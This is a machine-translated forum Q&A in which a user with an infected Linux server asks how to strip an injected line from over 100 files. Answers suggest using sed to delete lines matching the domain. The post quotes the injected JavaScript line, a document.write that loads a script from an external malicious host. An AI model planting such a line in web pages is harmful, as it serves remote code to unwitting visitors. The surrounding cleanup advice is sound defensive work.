2010-10-31 62 views
0

最近我的Linux服务器受到感染恶意软件,因此,我有100多个文件感染的Javascript代码一行:如何删除恶意JavaScript代码从多个文件

document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>'); 

我会太累人手动删除它,所以我深入研究谷歌(不太了解Linux并没有帮助那里),并发现我可以使用sed来达到这个目的。

不幸的是,我摆脱不了线,所以我可以用

sed -i.bak '/line of text/d' * 

语法,它的全部单引号,双引号和反斜杠的。

我怎么能逃避字符串或有其他 - 更容易 - 这样做的方式?

+0

这些都是斜杠,顺便说一句,而不是反斜杠,你可以在'sed'使用替代的分隔符,所以你不要”不得不做尽可能多的转义。 'sed'\ | text/with/slashes | d''。不幸的是,报价是另一回事。 – 2010-10-31 20:17:05

回答

1

难道你不只是使用sed删除任何包含例如alienradar.ru,或其他一些只存在于攻击行中的子字符串?喜欢的东西:

sed -i.bak '/alienradar.ru/d' * 
+0

+1让我对帖子:) – Philar 2010-10-31 17:11:02

+0

是的,谢谢,它的工作:) – 2010-10-31 17:19:44

+0

我能否也得到一个受影响的文件列表? – 2010-10-31 17:20:18